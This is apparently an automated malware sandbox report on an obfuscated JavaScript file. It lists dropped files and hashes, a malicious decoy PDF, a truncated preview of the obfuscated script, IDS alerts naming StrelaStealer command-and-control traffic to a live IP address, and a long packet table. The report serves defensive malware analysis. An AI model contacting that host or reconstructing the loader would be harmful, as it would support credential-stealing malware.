SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\90f68d6e-f652-4f4d-97f9-e2f185766539.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\a0e3f86a-25e0-4689-a10b-44ebd30526cb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b1116fce-688b-4ef0-984b-b6cc390794e0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16140), with CRLF line terminators
Entropy (8bit):	4.908939913710237
TrID:
File name:	2937924646314313784.js
File size:	19'641 bytes
MD5:	dfd8402a89f3caf38e1b14731b2d2f82
SHA1:	374ed46029669a5d7d9c61677ebd20cedf2713a0
SHA256:	c6ee09beccd28eb087fbae0a8a727e57c583eaedc1d1b2addb03823a06cf9552
SHA512:	fa790acd3ae71759a8f92bc1764bcb58720c941150901b58d99303794e965af7314342645aacaee2ab69180b1510e8ab51938d5ffc3da9832831b07c4b17a3cd
SSDEEP:	192:gx3PtC3O4IJiKBNZo3MV2N+tcJtaQO1eT+38JH2Dp1K0pWeCjRisaOKGwu696eq0:WAHKB/cASJD2DWVVaO6qfQ
TLSH:	0D9295C5D886C52B85F606AC7DCDBDA91F8913094F70A0C34999EC91D6CB831E9FA0B7
File Content Preview:	function drbrgxtb(){gzqjqok=[1031,3079,5127,4103,2055,3072];var asvlhdwd=this[jkpzbmr+fpacvixe+plllrn+dtjed+humxpnnb+uiefj+twjqwcjyr+cslfr](this[xxrwsdnaz+ejloe+zeafivqx+plllrn+bicvzx+jkpzbmr+cslfr][wwxrbwvrq+plllrn+humxpnnb+fpacvixe+cslfr+humxpnnb+wohci+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:01:17.606588+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49757	193.143.1.205	80	TCP
2025-01-11T02:01:17.606588+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.9	49757	193.143.1.205	80	TCP
2025-01-11T02:01:20.018268+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49771	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:01:16.821994066 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:16.826893091 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:16.826966047 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:16.832649946 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:16.837491035 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.606514931 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.606534004 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.606548071 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.606575966 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.606587887 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.606637001 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.606663942 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.606677055 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.606690884 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.606709957 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.606894970 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.606909990 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.606923103 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.606933117 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.606952906 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.611485004 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.652149916 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.652168036 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.652213097 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.705738068 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.727020025 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.727037907 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.727046013 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.727124929 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.727129936 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.727171898 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.727202892 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.727219105 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.727252960 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.727283955 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.727740049 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.727781057 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.727792978 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.727804899 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.727837086 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.728246927 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.728260994 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.728272915 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.728308916 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.728389978 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.728404999 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.728431940 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.729058027 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.729074001 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.729087114 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.729099035 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.729126930 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.729203939 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.729217052 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.729269028 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.729860067 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.729885101 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.729928017 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.781981945 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.782000065 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.782013893 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.782074928 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.814311981 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.814332962 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.814384937 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.847708941 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.847744942 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.847759008 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.847790956 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.847856998 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.847870111 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.847893000 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.848011971 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.848051071 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.848068953 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.848082066 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.848114014 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.848227024 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.848289013 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.848300934 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.848328114 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.848532915 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.848570108 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.848582029 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.848594904 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.848638058 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.848772049 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.848784924 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.848824024 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.849109888 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.849153042 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.849164963 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.849189043 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.849325895 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.849339008 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.849350929 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.849361897 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.849383116 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.849486113 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.849939108 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.849978924 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.849986076 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.849999905 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.850034952 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.850215912 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.850229979 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.850243092 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.850255013 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.850266933 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.850302935 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.850833893 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.850879908 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.850892067 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.850915909 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.851094007 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.851106882 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.851119995 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.851133108 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.851134062 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.851155043 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.851728916 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.851742983 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.851754904 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.851766109 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.851855993 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.869235992 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.869270086 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.869282961 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.869314909 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.869395018 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.869409084 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.869434118 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.901791096 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.901809931 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.901824951 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.901842117 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.901870966 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.901885986 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.901897907 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.901927948 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.935121059 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.935137033 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.935189009 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.968523979 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.968539953 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.968559980 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.968573093 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.968585968 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.968606949 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.968632936 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.968660116 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.968676090 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.968769073 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.968826056 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.968837976 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.968859911 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.968939066 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.968974113 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.969037056 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.969049931 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.969082117 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.969116926 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.969166994 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.969180107 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.969202995 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.969290018 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.969325066 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.969337940 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.969455957 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.969468117 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.969482899 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.969492912 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.969517946 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.969647884 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.969687939 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.969748974 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.969767094 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.969827890 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.969841957 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.969863892 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.969944000 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.969957113 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.969979048 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:17.970242023 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:17.970256090 CET	80	49757	193.143.1.205	192.168.2.9
